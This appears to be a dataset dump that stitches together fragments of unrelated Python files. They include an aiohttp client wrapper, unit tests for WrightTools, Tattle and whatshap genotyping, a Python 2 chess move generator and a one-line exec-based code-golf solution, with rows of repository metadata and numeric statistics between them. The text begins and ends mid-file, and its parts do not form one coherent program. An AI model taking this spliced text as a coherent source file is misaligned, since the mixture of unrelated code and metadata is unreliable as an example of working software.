<https://docs.aiohttp.org/en/stable/client_quickstart.html#passing-parameters-in-urls>`_
:param data: Dictionary, bytes, or file-like object to send in the body of the request
(optional)
:param json: Any json compatible python object, json and data parameters could not be used at the same time.
(optional)
:param kwargs: See `aiohttp request <https://docs.aiohttp.org/en/stable/client_reference.html#aiohttp.request>`_
for further possible kwargs
:return: awaitable
"""
return self.__client.post(url, params=params, data=data, json=json, **kwargs)
def put(self, url: str, params: Optional[Mapping[str, str]] = None,
data: Any = None, json: Any = None, **kwargs: Any) -> aiohttp.client._RequestContextManager:
"""http put request
:param url: Request URL
:param params: Mapping, iterable of tuple of key/value pairs (e.g. dict)
to be sent as parameters in the query string of the new request.
`Params example
<https://docs.aiohttp.org/en/stable/client_quickstart.html#passing-parameters-in-urls>`_
:param data: Dictionary, bytes, or file-like object to send in the body of the request
(optional)
:param json: Any json compatible python object, json and data parameters could not be used at the same time.
(optional)
:param kwargs: See `aiohttp request <https://docs.aiohttp.org/en/stable/client_reference.html#aiohttp.request>`_
for further possible kwargs
:return: awaitable
"""
return self.__client.put(url, params=params, data=data, json=json, **kwargs)
def delete(self, url: str, params: Optional[Mapping[str, str]] = None, **kwargs: Any)\
-> aiohttp.client._RequestContextManager:
return self.__client.delete(url, params=params, **kwargs)
def get_client_session(self) -> aiohttp.ClientSession:
"""Return the aiohttp
`client session object <https://docs.aiohttp.org/en/stable/client_reference.html#client-session>`_
for use in aiohttp libraries
:return: session object
"""
return self.__client
| 47.815217
| 120
| 0.631962
| 540
| 4,399
| 5.061111
| 0.192593
| 0.032931
| 0.040981
| 0.048664
| 0.783388
| 0.765825
| 0.765825
| 0.764362
| 0.764362
| 0.718258
| 0
| 0
| 0.275517
| 4,399
| 91
| 121
| 48.340659
| 0.857546
| 0.549898
| 0
| 0.153846
| 0
| 0
| 0.019243
| 0
| 0
| 0
| 0
| 0
| 0.038462
| 1
| 0.230769
| false
| 0
| 0.192308
| 0.038462
| 0.653846
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
20e0e6b730e5af972cc7da5736bbc112da925171
| 932
|
py
|
Python
|
tests/kit/closest_pair.py
|
untzag/WrightTools
|
05480d2f91ceeca422d9e5ac381fce1840207cb0
|
[
"MIT"
] | 12
|
2017-07-11T15:58:12.000Z
|
2021-05-10T20:33:26.000Z
|
tests/kit/closest_pair.py
|
untzag/WrightTools
|
05480d2f91ceeca422d9e5ac381fce1840207cb0
|
[
"MIT"
] | 808
|
2015-04-12T00:36:08.000Z
|
2022-03-27T21:06:06.000Z
|
tests/kit/closest_pair.py
|
untzag/WrightTools
|
05480d2f91ceeca422d9e5ac381fce1840207cb0
|
[
"MIT"
] | 9
|
2017-07-22T18:54:23.000Z
|
2022-02-17T20:31:05.000Z
|
"""Test closest pair."""
# --- import -------------------------------------------------------------------------------------
import numpy as np
import WrightTools as wt
# --- test ---------------------------------------------------------------------------------------
def test_5():
arr = np.array([1, 3, 4, 6, 12])
assert wt.kit.closest_pair(arr) == [[(1,), (2,)]]
assert wt.kit.closest_pair(arr, "distance") == 1
def test_5_multiple():
arr = np.array([1, 3, 4, 11, 12])
assert wt.kit.closest_pair(arr) == [[(1,), (2,)], [(3,), (4,)]]
assert wt.kit.closest_pair(arr, "distance") == 1
def test_example():
arr = np.array([0, 1, 2, 3, 3, 4, 5, 6, 1])
assert wt.kit.closest_pair(arr) == [[(1,), (8,)], [(3,), (4,)]]
def test_2x3():
arr = np.array([[0, 1, 2], [3, 4, 4.5]])
assert wt.kit.closest_pair(arr) == [[(1, 1), (1, 2)]]
assert wt.kit.closest_pair(arr, "distance") == 0.5
| 25.888889
| 98
| 0.436695
| 127
| 932
| 3.110236
| 0.220472
| 0.222785
| 0.194937
| 0.318987
| 0.711392
| 0.711392
| 0.64557
| 0.443038
| 0.443038
| 0.207595
| 0
| 0.066062
| 0.171674
| 932
| 35
| 99
| 26.628571
| 0.445596
| 0.228541
| 0
| 0.117647
| 0
| 0
| 0.033708
| 0
| 0
| 0
| 0
| 0
| 0.411765
| 1
| 0.235294
| false
| 0
| 0.117647
| 0
| 0.352941
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
20f042d59ade10bee87508834d5c2adece50c21e
| 572
|
py
|
Python
|
riskslim/loss_functions/__init__.py
|
jnirschl/risk-slim
|
f0dc978780923e38d24e8219766c9f13d82a500f
|
[
"BSD-3-Clause"
] | 117
|
2017-02-15T01:44:53.000Z
|
2022-03-26T14:11:51.000Z
|
riskslim/loss_functions/__init__.py
|
vishalbelsare/risk-slim
|
100aca0fc0475e1ffb22f5ecf8ba240384a10adb
|
[
"BSD-3-Clause"
] | 13
|
2017-07-19T14:34:31.000Z
|
2021-11-02T18:28:02.000Z
|
riskslim/loss_functions/__init__.py
|
jnirschl/risk-slim
|
f0dc978780923e38d24e8219766c9f13d82a500f
|
[
"BSD-3-Clause"
] | 30
|
2017-04-01T07:21:32.000Z
|
2022-03-17T19:27:52.000Z
|
from .log_loss import *
from .log_loss_weighted import *
try:
from .fast_log_loss import *
except ImportError:
print("warning: could not import fast log loss")
print("warning: returning handle to standard loss functions")
# todo replace with warning object
import log_loss as fast_log_loss
try:
from .lookup_log_loss import *
except ImportError:
print("warning: could not import lookup log loss")
print("warning: returning handle to standard loss functions")
# todo replace with warning object
import log_loss as lookup_log_loss
| 28.6
| 65
| 0.743007
| 81
| 572
| 5.08642
| 0.296296
| 0.169903
| 0.09466
| 0.092233
| 0.757282
| 0.757282
| 0.757282
| 0.757282
| 0.757282
| 0.757282
| 0
| 0
| 0.197552
| 572
| 19
| 66
| 30.105263
| 0.897603
| 0.113636
| 0
| 0.428571
| 0
| 0
| 0.365805
| 0
| 0
| 0
| 0
| 0.052632
| 0
| 1
| 0
| true
| 0
| 0.714286
| 0
| 0.714286
| 0.285714
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 9
|
4577014520cebb775d5226d0a26eeed1bb9b947c
| 61
|
py
|
Python
|
src/beancount_import/directives/directive_importer.py
|
rpurgstaller/beanbot-personal-finance-manager
|
4770a17549f368985445f7d56cdf8e1097e007b1
|
[
"CC0-1.0"
] | null | null | null |
src/beancount_import/directives/directive_importer.py
|
rpurgstaller/beanbot-personal-finance-manager
|
4770a17549f368985445f7d56cdf8e1097e007b1
|
[
"CC0-1.0"
] | null | null | null |
src/beancount_import/directives/directive_importer.py
|
rpurgstaller/beanbot-personal-finance-manager
|
4770a17549f368985445f7d56cdf8e1097e007b1
|
[
"CC0-1.0"
] | null | null | null |
class DirectiveImporter():
def extract():
pass
| 10.166667
| 26
| 0.590164
| 5
| 61
| 7.2
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.311475
| 61
| 5
| 27
| 12.2
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0.333333
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 7
|
45cc568de120d54b26b736250fad39e460a58735
| 126
|
py
|
Python
|
ACM-Solution/EQCHECK.py
|
wasi0013/Python-CodeBase
|
4a7a36395162f68f84ded9085fa34cc7c9b19233
|
[
"MIT"
] | 2
|
2016-04-26T15:40:40.000Z
|
2018-07-18T10:16:42.000Z
|
ACM-Solution/EQCHECK.py
|
wasi0013/Python-CodeBase
|
4a7a36395162f68f84ded9085fa34cc7c9b19233
|
[
"MIT"
] | 1
|
2016-04-26T15:44:15.000Z
|
2016-04-29T14:44:40.000Z
|
ACM-Solution/EQCHECK.py
|
wasi0013/Python-CodeBase
|
4a7a36395162f68f84ded9085fa34cc7c9b19233
|
[
"MIT"
] | 1
|
2018-10-02T16:12:19.000Z
|
2018-10-02T16:12:19.000Z
|
import re,fractions as f
exec('a,b,c=map(int,re.split("\D",input())[::2]);print("yneos"[c%f.gcd(a,b)>0::2]);'*int(input()))
| 42
| 99
| 0.587302
| 27
| 126
| 2.740741
| 0.703704
| 0.054054
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.02521
| 0.055556
| 126
| 2
| 100
| 63
| 0.596639
| 0
| 0
| 0
| 0
| 0.5
| 0.620968
| 0.620968
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0.5
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
|
0
| 8
|
affb846b8da98d1f1354ec9707a7ddd2efd47022
| 4,387
|
py
|
Python
|
tests/build_indexes_tests.py
|
nickmaccarthy/Tattle
|
b3ef57b90b804ae62124803a92c828ef80d8e8b2
|
[
"Apache-2.0"
] | 10
|
2016-05-31T15:21:36.000Z
|
2021-01-13T21:37:28.000Z
|
tests/build_indexes_tests.py
|
nickmaccarthy/Tattle
|
b3ef57b90b804ae62124803a92c828ef80d8e8b2
|
[
"Apache-2.0"
] | 4
|
2016-09-26T12:42:31.000Z
|
2016-09-26T14:14:51.000Z
|
tests/build_indexes_tests.py
|
nickmaccarthy/Tattle
|
b3ef57b90b804ae62124803a92c828ef80d8e8b2
|
[
"Apache-2.0"
] | 1
|
2020-03-07T13:07:36.000Z
|
2020-03-07T13:07:36.000Z
|
import sys
import os
import re
import datetime
import time
import yaml
import json
from pprint import pprint
TATTLE_HOME = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))
os.environ['TATTLE_HOME'] = str(TATTLE_HOME)
sys.path.append(os.path.join(TATTLE_HOME, 'lib'))
sys.path.append(os.path.join(TATTLE_HOME))
sys.path.append(os.path.join('.'))
import unittest
import tattle
from datemath import datemath
class TestBuildIndexes(unittest.TestCase):
def testFromDictOne(self):
index_info = {'pattern': 'YYYY.MM.DD', 'interval': 'day', 'name': 'some-index-'}
expected = 'some-index-2015.12.29,some-index-2015.12.30,some-index-2015.12.31,some-index-2016.01.01'
built_indexes = tattle.get_indexes(index_info, datemath('2016-01-01||-3d'), datemath('2016-01-01'))
self.assertEqual(built_indexes, expected)
def testFromDictDefaultPatternAndDay(self):
index_info = {'name': 'some-index-'}
expected = 'some-index-2015.12.29,some-index-2015.12.30,some-index-2015.12.31,some-index-2016.01.01'
built_indexes = tattle.get_indexes(index_info, datemath('2016-01-01||-3d'), datemath('2016-01-01'))
self.assertEqual(built_indexes, expected)
def testStarIndexNames(self):
index_info = 'some-index-*'
expected = 'some-index-2015.12.29,some-index-2015.12.30,some-index-2015.12.31,some-index-2016.01.01'
built_indexes = tattle.get_indexes(index_info, datemath('2016-01-01||-3d'), datemath('2016-01-01'))
self.assertEqual(built_indexes, expected)
def testIndexPatternInString(self):
index_info = 'some-index-%{+YYYY.MM.DD}'
expected = 'some-index-2015.12.29,some-index-2015.12.30,some-index-2015.12.31,some-index-2016.01.01'
built_indexes = tattle.get_indexes(index_info, datemath('2016-01-01||-3d'), datemath('2016-01-01'))
self.assertEqual(built_indexes, expected)
def testIndexPatternInStringWithInterval(self):
index_info = 'some-index-%{+YYYY.MM.DD.HH}:hour'
expected = 'some-index-2015.12.29.00,some-index-2015.12.29.01,some-index-2015.12.29.02,some-index-2015.12.29.03,some-index-2015.12.29.04,some-index-2015.12.29.05,some-index-2015.12.29.06,some-index-2015.12.29.07,some-index-2015.12.29.08,some-index-2015.12.29.09,some-index-2015.12.29.10,some-index-2015.12.29.11,some-index-2015.12.29.12,some-index-2015.12.29.13,some-index-2015.12.29.14,some-index-2015.12.29.15,some-index-2015.12.29.16,some-index-2015.12.29.17,some-index-2015.12.29.18,some-index-2015.12.29.19,some-index-2015.12.29.20,some-index-2015.12.29.21,some-index-2015.12.29.22,some-index-2015.12.29.23,some-index-2015.12.30.00,some-index-2015.12.30.01,some-index-2015.12.30.02,some-index-2015.12.30.03,some-index-2015.12.30.04,some-index-2015.12.30.05,some-index-2015.12.30.06,some-index-2015.12.30.07,some-index-2015.12.30.08,some-index-2015.12.30.09,some-index-2015.12.30.10,some-index-2015.12.30.11,some-index-2015.12.30.12,some-index-2015.12.30.13,some-index-2015.12.30.14,some-index-2015.12.30.15,some-index-2015.12.30.16,some-index-2015.12.30.17,some-index-2015.12.30.18,some-index-2015.12.30.19,some-index-2015.12.30.20,some-index-2015.12.30.21,some-index-2015.12.30.22,some-index-2015.12.30.23,some-index-2015.12.31.00,some-index-2015.12.31.01,some-index-2015.12.31.02,some-index-2015.12.31.03,some-index-2015.12.31.04,some-index-2015.12.31.05,some-index-2015.12.31.06,some-index-2015.12.31.07,some-index-2015.12.31.08,some-index-2015.12.31.09,some-index-2015.12.31.10,some-index-2015.12.31.11,some-index-2015.12.31.12,some-index-2015.12.31.13,some-index-2015.12.31.14,some-index-2015.12.31.15,some-index-2015.12.31.16,some-index-2015.12.31.17,some-index-2015.12.31.18,some-index-2015.12.31.19,some-index-2015.12.31.20,some-index-2015.12.31.21,some-index-2015.12.31.22,some-index-2015.12.31.23,some-index-2016.01.01.00'
built_indexes = tattle.get_indexes(index_info, datemath('2016-01-01||-3d'), datemath('2016-01-01'))
self.assertEqual(built_indexes, expected)
index_info = 'some-index-%{+YYYY.MM.DD.HH}:day'
expected = 'some-index-2015.12.29.00,some-index-2015.12.30.00,some-index-2015.12.31.00,some-index-2016.01.01.00'
built_indexes = tattle.get_indexes(index_info, datemath('2016-01-01||-3d'), datemath('2016-01-01'))
self.assertEqual(built_indexes, expected)
| 70.758065
| 1,846
| 0.717803
| 806
| 4,387
| 3.858561
| 0.099256
| 0.286495
| 0.363666
| 0.419614
| 0.857235
| 0.44791
| 0.444695
| 0.444695
| 0.373633
| 0.373633
| 0
| 0.249688
| 0.087075
| 4,387
| 61
| 1,847
| 71.918033
| 0.526841
| 0
| 0
| 0.347826
| 0
| 0.130435
| 0.592339
| 0.538304
| 0
| 0
| 0
| 0
| 0.130435
| 1
| 0.108696
| false
| 0
| 0.23913
| 0
| 0.369565
| 0.021739
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b326a7357c3bb90b9bc6e1db98f73fd1c96fab46
| 7,707
|
py
|
Python
|
src/pawns.py
|
fxa90id/python-ai-chess
|
b3432f10bacdcc5ee645ba247c1373c4fd193606
|
[
"MIT"
] | null | null | null |
src/pawns.py
|
fxa90id/python-ai-chess
|
b3432f10bacdcc5ee645ba247c1373c4fd193606
|
[
"MIT"
] | null | null | null |
src/pawns.py
|
fxa90id/python-ai-chess
|
b3432f10bacdcc5ee645ba247c1373c4fd193606
|
[
"MIT"
] | null | null | null |
class Pawn(object):
_me = 'p'
def __init__(self, color, position, board):
self.color = color
self.position = position
self.board = board
self.board.put_pawn(self)
if self.color is 'white':
self._me = self._me.upper()
self.direction = 1
else:
self.direction = -1
def __str__(self):
return u"%s" % (self._me)
def possible_moves(self, king_safe=True):
moves = []
x, y = self.position
pos = (chr(ord(x)), chr(ord(y) + self.direction))
l_pos = (chr(ord(x) - 1), chr(ord(y) + self.direction))
r_pos = (chr(ord(x) + 1), chr(ord(y) + self.direction))
try:
pawn = self.board.get_pawn(pos)
if pawn is '.':
line = ''.join(self.position) + ''.join(pos)
if self.king_ok(line, king_safe):
moves.append(line)
except IndexError:
pass
try:
pawn = self.board.get_pawn(l_pos)
print "l_pos found:", pawn
if not (pawn is '.') and pawn.color is not self.color:
line = ''.join(self.position) + ''.join(l_pos)
if self.king_ok(line, king_safe):
moves = [line] + moves
except IndexError:
pass
try:
pawn = self.board.get_pawn(r_pos)
print "r_pos found:", pawn
if not (pawn is '.') and pawn.color is not self.color:
line = ''.join(self.position) + ''.join(l_pos)
if self.king_ok(line, king_safe):
moves = [line] + moves
except IndexError:
pass
print "Pawns:", moves
return moves
def king_ok(self, line, king_safe):
if king_safe:
start, end = tuple(line[:2]), tuple(line[2:])
if self.color is 'white':
king = self.board.white_king.position
color = 'black'
else:
king = self.board.black_king.position
color = 'white'
return self.board.king_safe_after(start, end, king, color)
return True
class King(Pawn):
_me = 'a'
def possible_moves(self, king_safe=True):
moves = []
x, y = self.position
for i in [-1, 0, 1]:
for j in [-1, 0, 1]:
if (i, j) == (0, 0):
continue
try:
pos = (chr(ord(x) + i), chr(ord(y) + j))
print pos,
if self.board.in_borders(pos):
pawn = self.board.get_pawn(pos)
if pawn is '.':
line = ''.join(self.position) + ''.join(pos)
if self.king_ok(line, king_safe):
moves.append(line)
elif pawn.color is not self.color:
line = ''.join(self.position) + ''.join(pos)
if self.king_ok(line, king_safe):
moves.append(line)
except IndexError:
pass
print "King:", moves
return moves
class Bishop(Pawn):
_me = 'b'
def possible_moves(self, king_safe=True):
moves = []
x, y = self.position
temp = 1
for i in [-1, 1]:
for j in [-1, 1]:
try:
pos = (chr(ord(x) + temp*i), chr(ord(y) + temp*j))
while self.board.get_pawn(pos) is '.':
pos = (chr(ord(x) + temp*i), chr(ord(y) + temp*j))
if self.board.in_borders(pos):
line = ''.join(self.position) + ''.join(pos)
if self.king_ok(line, king_safe):
moves.append(line)
temp = temp + 1
except IndexError:
pass
print "Bishop:", moves
return moves
class Knight(Pawn):
_me = 'k'
def possible_moves(self, king_safe=True):
moves = []
x, y = self.position
for j in range(-1, 2, 2):
for i in range(-1, 2, 2):
try:
pos = (chr(ord(x) + j), chr(ord(y) + i*2))
if self.board.in_borders(pos):
pawn = self.board.get_pawn(pos)
if pawn is '.':
line = ''.join(self.position) + ''.join(pos)
if self.king_ok(line, king_safe):
moves.append(line)
elif pawn.color is not self.color:
line = ''.join(self.position) + ''.join(pos)
if self.king_ok(line, king_safe):
moves = [line] + moves
except IndexError:
pass
try:
pos = (chr(ord(x) + j*2), chr(ord(y) + i))
if self.board.in_borders(pos):
pawn = self.board.get_pawn(pos)
if pawn is '.':
line = ''.join(self.position) + ''.join(pos)
if self.king_ok(line, king_safe):
moves.append(line)
elif pawn.color is not self.color:
line = ''.join(self.position) + ''.join(pos)
if self.king_ok(line, king_safe):
moves = [line] + moves
except IndexError:
pass
print "Knight:", moves
return moves
class Rook(Pawn):
_me = 'r'
def possible_moves(self, king_safe=True):
moves = []
x, y = self.position
temp = 1
for j in [-1, 1]:
try:
pos = (x, chr(ord(y) + temp*j))
while self.board.get_pawn(pos) is '.':
if self.board.in_borders(pos):
line = ''.join(self.position) + ''.join(pos)
if self.king_ok(line, king_safe):
moves.append(line)
temp = temp + 1
pos = (x, chr(ord(y) + temp*j))
pawn = self.board.get_pawn(pos)
if pawn is not '.':
if pawn.color is not self.color:
line = ''.join(self.position) + ''.join(pos)
if self.king_ok(line, king_safe):
moves.append(line)
except IndexError:
pass
try:
temp = 1
pos = (chr(ord(x) + temp*j), y)
while self.board.get_pawn(pos) is '.':
if self.board.in_borders(pos):
line = ''.join(self.position) + ''.join(pos)
if self.king_ok(line, king_safe):
moves.append(line)
temp = temp + 1
pos = (chr(ord(x) + temp*j), y)
pawn = self.board.get_pawn(pos)
if pawn is not '.':
if pawn.color is not self.color:
line = ''.join(self.position) + ''.join(pos)
if self.king_ok(line, king_safe):
moves.append(line)
except IndexError:
pass
print "Rook:", moves
return moves
| 38.535
| 74
| 0.414818
| 837
| 7,707
| 3.715651
| 0.086022
| 0.063666
| 0.043408
| 0.090032
| 0.779743
| 0.748553
| 0.73955
| 0.735048
| 0.727653
| 0.703859
| 0
| 0.008333
| 0.470611
| 7,707
| 199
| 75
| 38.728643
| 0.753922
| 0
| 0
| 0.721925
| 0
| 0
| 0.011937
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.048128
| 0
| null | null | 0.042781
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b32f0b5717f917b717abf6e1977947c208659766
| 154
|
py
|
Python
|
collie_recs/loss/__init__.py
|
lgpreston75/collie_recs
|
aafcb41bac680d36c7d9e9d6537018e2544327d3
|
[
"BSD-3-Clause"
] | null | null | null |
collie_recs/loss/__init__.py
|
lgpreston75/collie_recs
|
aafcb41bac680d36c7d9e9d6537018e2544327d3
|
[
"BSD-3-Clause"
] | null | null | null |
collie_recs/loss/__init__.py
|
lgpreston75/collie_recs
|
aafcb41bac680d36c7d9e9d6537018e2544327d3
|
[
"BSD-3-Clause"
] | null | null | null |
from collie_recs.loss.bpr import *
from collie_recs.loss.hinge import *
from collie_recs.loss.metadata_utils import *
from collie_recs.loss.warp import *
| 30.8
| 45
| 0.818182
| 25
| 154
| 4.84
| 0.4
| 0.330579
| 0.46281
| 0.595041
| 0.595041
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.103896
| 154
| 4
| 46
| 38.5
| 0.876812
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
b346d7258037e77a8b414e10631691aa7ebbe8c2
| 18,065
|
py
|
Python
|
trioasm/whatshap_trioasm/tests/test_pedigreegenotyping.py
|
shilpagarg/WHdenovo
|
7a03798397ee0f131f100402d12ad53eab4334dc
|
[
"MIT"
] | 45
|
2019-03-18T06:57:23.000Z
|
2021-06-24T12:24:48.000Z
|
trioasm/whatshap_trioasm/tests/test_pedigreegenotyping.py
|
shilpagarg/WHdenovo
|
7a03798397ee0f131f100402d12ad53eab4334dc
|
[
"MIT"
] | 2
|
2019-05-06T22:11:22.000Z
|
2020-01-10T15:14:40.000Z
|
trioasm/whatshap_trioasm/tests/test_pedigreegenotyping.py
|
shilpagarg/WHdenovo
|
7a03798397ee0f131f100402d12ad53eab4334dc
|
[
"MIT"
] | 7
|
2019-05-06T22:07:47.000Z
|
2020-12-11T08:48:26.000Z
|
"""
Test genotyping of pedigrees
"""
import math
from whatshap.core import GenotypeDPTable, ReadSet, Pedigree, NumericSampleIds, \
PhredGenotypeLikelihoods
from whatshap.testhelpers import string_to_readset_pedigree
def genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes, weights=None, expected=None, scaling=10, positions=None):
rs = string_to_readset_pedigree(s=reads, w=weights, scaling_quality=scaling)
dp_forward_backward = GenotypeDPTable(numeric_sample_ids,rs, recombcost, pedigree, positions)
# for each position compare the likeliest genotype to the expected ones
print('expected genotypes: ',expected_genotypes)
positions = rs.get_positions()
for pos in range(len(positions)):
for individual in range(len(pedigree)):
likelihoods = dp_forward_backward.get_genotype_likelihoods('individual'+str(individual),pos)
# if expected likelihoods given, compare
if expected is not None:
print('likelihoods: ',likelihoods,' expected likelihoods: ', expected[individual][pos])
assert(likelihoods == expected[individual][pos])
# find the likeliest genotype
max_val = -1
max_index = -1
for i in range(len(likelihoods)):
assert( not math.isnan(likelihoods[i]) )
if likelihoods[i] > max_val:
max_val = likelihoods[i]
max_index = i
# compare it to the expected genotype
print('pos.: '+ str(pos) + ' individual ' + str(individual) + ': ',likelihoods,' expected genotype: ', expected_genotypes[individual][pos])
assert(max_index == expected_genotypes[individual][pos])
print("\n")
def test_genotyping_empty_trio():
rs = ReadSet()
recombcost = []
numeric_sample_ids = NumericSampleIds()
pedigree = Pedigree(numeric_sample_ids)
pedigree.add_individual('individual0', [],[])
pedigree.add_individual('individual1', [],[])
pedigree.add_individual('individual2', [],[])
pedigree.add_relationship('individual0', 'individual1', 'individual2')
dp_forward_backward = GenotypeDPTable(numeric_sample_ids,rs, recombcost, pedigree)
def test_genotyping_trio1():
reads = """
A 00
A 00
B 11
B 11
C 11
C 00
"""
expected_genotypes = [[0,0] , [2,2], [1,1]]
numeric_sample_ids = NumericSampleIds()
pedigree = Pedigree(numeric_sample_ids)
pedigree.add_individual('individual0',[1,1],[PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 2)
pedigree.add_individual('individual1',[1,1],[PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 2)
pedigree.add_individual('individual2',[1,1],[PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 2)
pedigree.add_relationship('individual0', 'individual1', 'individual2')
recombcost = [10,10]
genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes)
def test_genotyping_quartet1():
reads = """
A 1111
A 0000
B 1010
C 111000
C 010101
D 000000
D 010
B 0101
C 1100
D 10010
A 0000
A 1111
B 1010
B 0101
"""
expected_genotypes = [[1,1,1,1,1,1], [1,1,1,1,1,1], [1,2,1,1,0,1], [0,1,0,0,1,0]]
numeric_sample_ids = NumericSampleIds()
pedigree = Pedigree(numeric_sample_ids)
pedigree.add_individual('individual0', [0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6)
pedigree.add_individual('individual1', [0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6)
pedigree.add_individual('individual2', [0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6)
pedigree.add_individual('individual3', [0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6)
pedigree.add_relationship('individual0', 'individual1', 'individual2')
pedigree.add_relationship('individual0', 'individual1', 'individual3')
recombcost = [3,3,3,4,3,3]
genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes)
def test_genotyping_trio2():
reads = """
A 00
A 00
B 11
B 11
C 11
C 00
"""
expected_genotypes = [[0,0] , [2,2], [1,1]]
numeric_sample_ids = NumericSampleIds()
pedigree = Pedigree(numeric_sample_ids)
pedigree.add_individual('individual0',[0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 2)
pedigree.add_individual('individual1',[0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 2)
pedigree.add_individual('individual2',[0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 2)
pedigree.add_relationship('individual0', 'individual1', 'individual2')
recombcost = [10,10,10]
genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes)
def test_genotyping_trio3():
reads = """
A 1111
B 1010
C 111000
C 010101
C 010101
B 0101
A 0000
B 1010
C 1010
C 1100
A 0000
A 1111
B 1010
B 010
"""
expected_genotypes = [[1,1,1,1,1,1] , [1,1,1,1,1,1], [1,2,1,1,0,1]]
numeric_sample_ids = NumericSampleIds()
pedigree = Pedigree(numeric_sample_ids)
pedigree.add_individual('individual0',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6)
pedigree.add_individual('individual1',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6)
pedigree.add_individual('individual2',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6)
pedigree.add_relationship('individual0', 'individual1', 'individual2')
recombcost = [3,3,3,4,3,3]
genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes)
# TODO: what about such cases, where the given reads are like below? What would be the expected genotypes
# when genotyping with higher recombrate (e.g. 10), resulting genotypes are: [2,2,2] , [2,1,1], [2,2,2], why??
def test_genotyping_trio4():
reads = """
B 101
B 101
B 101
A 111
A 111
A 111
C 111
C 111
C 111
"""
expected_genotypes = [[2,2,2] , [2,1,2], [2,2,2]]
numeric_sample_ids = NumericSampleIds()
pedigree = Pedigree(numeric_sample_ids)
pedigree.add_individual('individual0',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3)
